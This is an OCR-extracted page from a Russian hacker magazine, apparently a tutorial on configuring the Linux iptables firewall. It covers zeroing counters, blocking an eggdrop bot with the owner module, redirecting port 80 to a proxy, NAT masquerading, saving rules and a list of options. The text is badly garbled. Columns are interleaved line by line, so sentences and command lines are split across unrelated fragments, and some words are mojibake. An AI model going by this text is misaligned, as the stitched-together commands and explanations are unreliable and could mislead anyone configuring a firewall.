зуется командой:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ратные фаерволы - отдельные компь-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

tables и пробуем куда-нибудь за-

# /sbin/iptables -Z öåïü

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ютеры, которые ставятся на входе в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

телнетиться. Убеждаемся, что пра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

защищаемую сеть и имеют свое ПО.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вило работает как надо.

 

Где "цепь" - имя цепочки, которую надо об-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как правило, никаких функций, кро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нулить.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ме фильтрации данных, такие желе-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

А теперь представь, что некий поль-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зяки не выполняют.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зователь в сети подкинул тебе по-

 

СОХРАНЯЕМ НАСТРОЙКИ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лезную инфу. В знак благодарности

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ты ему предоставляешь акцес к шел-

 

 

 

 

Чтобы корректно сохранить настройки фа-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лу, но не хочешь, чтобы у него была

 

 

 

 

ервола, необходимо выполнить команду

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

возможность запускать eggdrop-бо-

 

 

 

 

service iptables save. Все правила запишутся

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

та. Подобное реализуется такой вот командой:

 

бы осуществить редирект с одного порта на другой

в файл /etc/sysconfig/iptables и подгрузятся при

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(допустим, насильно перенаправить пользователя с

следующем запуске компьютера. Если ты сделал

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -A OUTPUT -m owner --cmd-

80 на 3128 порт текущей машины), следует доба-

что-то неверно, команда service iptables reload заг-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

owner eggdrop -j REJECT

 

 

вить в цепь PREROUTING следующую запись:

 

рузит старые правила из этого же файла.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь процесс, содержащий слово eggdrop, не

 

# /sbin/iptables -t nat -A PREROUTING -s

 

Убедись, что iptables находится в автозапуске. Для

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сможет отправлять пакеты в сеть.

 

192.168.0.1 -p tcp --destination-port 80 -j

этого выполни команду chkconfig --list | grep ipta-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

REDIRECT --to-port 3128

 

bles. Если iptables отобразится, значит, все ок.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После такой команды порт назначения 80 будет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

меняться на 3128, т.е. пользователи будут юзать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WWW только через прокси-сервер (естественно,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Демонстрация работы модуля owner

 

предварительно установленный на машине).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ВСЕ НА МАСКАРАД!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Iptables, как и ipchains, умеет организовывать мас-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

карадинг (т.е. заменять локальный IP-адрес на

 

 

 

 

Множество функций команды service

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

глобальный). С помощью NAT ты можешь пропус-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тить в инет через свой сервер все машины из ло-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кальной сети. За NAT'инг отвечает модуль ipta-

 

Мутим redirect =)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

bles_nat.so. В нем содержатся три цепи: PREROUT-

 

КАК ЗА КАМЕННОЙ СТЕНОЙ!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ING, OUTPUT è POSTROUTING. Â POSTROUTING çà-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

писываются адреса, которым разрешено маскара-

 

 

 

Подведем итог. Цель достигнута - ты получил доста-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

диться. Это происходит следующим образом:

 

СЧИТАЕМ ТРАФИК

 

точно инфы, чтобы грамотно настроить фаервол ipta-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

bles. Если хочешь продолжить изучение этого бранд-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -t nat -A POSTROUTING -s

 

Весь трафик, прошедший через машину, фаервол

мауэра, то введи команду man iptables. Руководство

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

192.168.0.1 -j MASQUERADE

 

записывает в контейнеры правил. Их можно прос-

на несколько страниц на английском

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мотреть с помощью опции -v (verbose). Iptables по-

языке опишет тебе все модули, правила

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вообще, для доступа к цепям NAT достаточно доба-

кажет количество пакетов и суммарный трафик,

и параметры фаервола.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вить к правилу параметр -t со значением nat. Что-

обработанный каждым правилом.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Краткий список параметров iptables

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вот небольшой список базовых опций фаервола, который поможет тебе выполнить то

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

или иное действие:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-P политика цепь - сменить политику указанной цепи.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-N цепь - создать новую пользовательскую цепочку.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-D цепь [правило] - удалить всю цепь или определенное правило в ней.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

--line-numbers - посмотреть номера правил в цепи.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-n - не преобразовывать IP-адреса в хосты.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-L [цепь] - просмотреть правила в указанной цепи.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-F [цепь] - удалить все правила в цепи либо очистить все цепочки.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

68 Ньюсы

1 Феррум

2 Inside

3 PC_Zone

4 Implant

 

 

 

 

 

 

 

Соседние файлы в папке журнал хакер